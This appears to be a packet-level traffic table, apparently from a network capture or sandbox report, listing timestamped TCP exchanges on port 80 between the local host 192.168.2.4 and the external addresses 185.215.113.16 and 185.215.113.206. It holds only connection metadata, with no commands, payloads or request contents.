Oct 26, 2024 05:54:55.878971100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878998995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.880414009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880450010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880485058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880496025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.880637884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880666971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880681038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.880722046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880754948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880764961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.880789042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880827904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.880906105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880934954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.880979061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.881181002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881238937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881268024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881282091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.881300926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881341934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.881607056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881640911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881674051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881681919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.881767988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881800890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881810904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.881834030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.881870985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.923307896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.923346043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.923363924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.923391104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.966273069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.966317892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.966356993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.966357946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.966396093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.966408014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.994239092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994276047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994311094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994307995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994339943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994347095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994350910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994401932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994409084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994441986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994458914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994476080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994484901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994509935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994524002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994545937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.994554996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.994592905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.014451981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014486074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014504910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.014519930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014549971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014571905 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.014583111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014616966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.014625072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.034754992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.034934998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035130024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035161018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035190105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035197020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035202980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035233021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035243034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035278082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035301924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035352945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035370111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035403013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035410881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035437107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035450935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035470009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035473108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035506964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035528898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035551071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035567999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035618067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035619974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035651922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035665989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035686016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035716057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035737038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035737991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035773039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035784960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035801888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.035831928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.035865068 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.041656971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.041713953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.041722059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.041743994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.041775942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.041789055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.041928053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.041975975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.041979074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042006969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042047977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042057991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042087078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042129993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042154074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042181969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042227030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042397022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042426109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042471886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042500019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042552948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042581081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042593002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042613983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042658091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042705059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042800903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042831898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042853117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042864084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.042912006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.042994022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.043023109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.043066978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.084355116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.084412098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.084441900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.084475040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.084491968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.084520102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.127610922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.127651930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.127855062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.127896070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.127991915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.128040075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.150648117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150733948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150787115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150804996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.150804996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.150819063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150845051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.150855064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150856972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.150907040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150938034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.150970936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.151005983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.151060104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151060104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151060104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151060104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151060104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151091099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.151122093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.151144981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151156902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.151159048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.151230097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.172019005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.172058105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.172158003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.172163010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.172194958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.172230005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.172244072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.191557884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191587925 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191628933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191638947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191659927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191675901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191683054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191713095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191719055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191749096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191761971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191786051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191791058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191831112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191842079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191871881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191884041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191909075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191940069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.191982985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.191996098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192029953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192039013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192065001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192070961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192117929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192238092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192269087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192285061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192302942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192312002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192347050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192356110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192389965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192404985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192425966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.192431927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.192466974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.202939987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.202969074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203002930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203016043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203020096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203044891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203151941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203191042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203217983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203232050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203259945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203267097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203336000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203358889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203372955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203376055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203412056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203564882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203589916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203632116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203646898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203684092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203722954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203804970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203829050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203865051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203888893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203902006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203933001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.203975916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.203988075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.204025030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.204118013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.204130888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.204163074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.246012926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.246095896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.246129036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.246156931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.246161938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.246202946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.288935900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.288979053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.289015055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.289025068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.307718992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.307807922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.307806015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.307862043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.307863951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.307909966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.307914972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.307950020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.307965040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.307997942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.308000088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.308032990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.308042049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.308068037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.308073997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.308101892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.308109045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.308136940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.308146954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.308181047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.333386898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333417892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333448887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.333453894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333496094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333508968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.333529949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333565950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:56.333573103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:56.348423004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348483086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348527908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348539114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348573923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348591089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348608971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348634958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348642111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348669052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348694086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348742962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348794937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348864079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348893881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348915100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348927975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.348936081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348970890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.348997116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349030972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349045992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349080086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349097013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349148989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349162102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349183083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349195004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349219084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349227905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349262953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349414110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349466085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349468946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349498987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:56.349512100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.349545002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:56.364397049 CEST	80	49742	185.215.113.16	192.168.2.4
